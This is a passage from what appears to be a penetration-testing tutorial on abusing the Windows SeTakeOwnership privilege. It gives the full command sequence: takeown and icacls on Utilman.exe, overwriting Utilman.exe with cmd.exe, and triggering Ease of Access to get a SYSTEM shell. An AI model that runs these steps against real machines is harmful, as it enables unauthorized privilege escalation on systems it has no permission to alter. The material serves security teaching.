SeTakeOwnership
The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the service's executable.
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We'll abuse utilman.exe to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "khan.chanthou".
Notice that being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe you can use the following command:
C:\> icacls C:\Windows\System32\Utilman.exe /grant khan.chanthou:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
After this, we will replace utilman.exe with a copy of cmd.exe:
C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
To trigger utilman, we will lock our screen from the start button:

And finally, proceed to click on the "Ease of Access" button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:

Se
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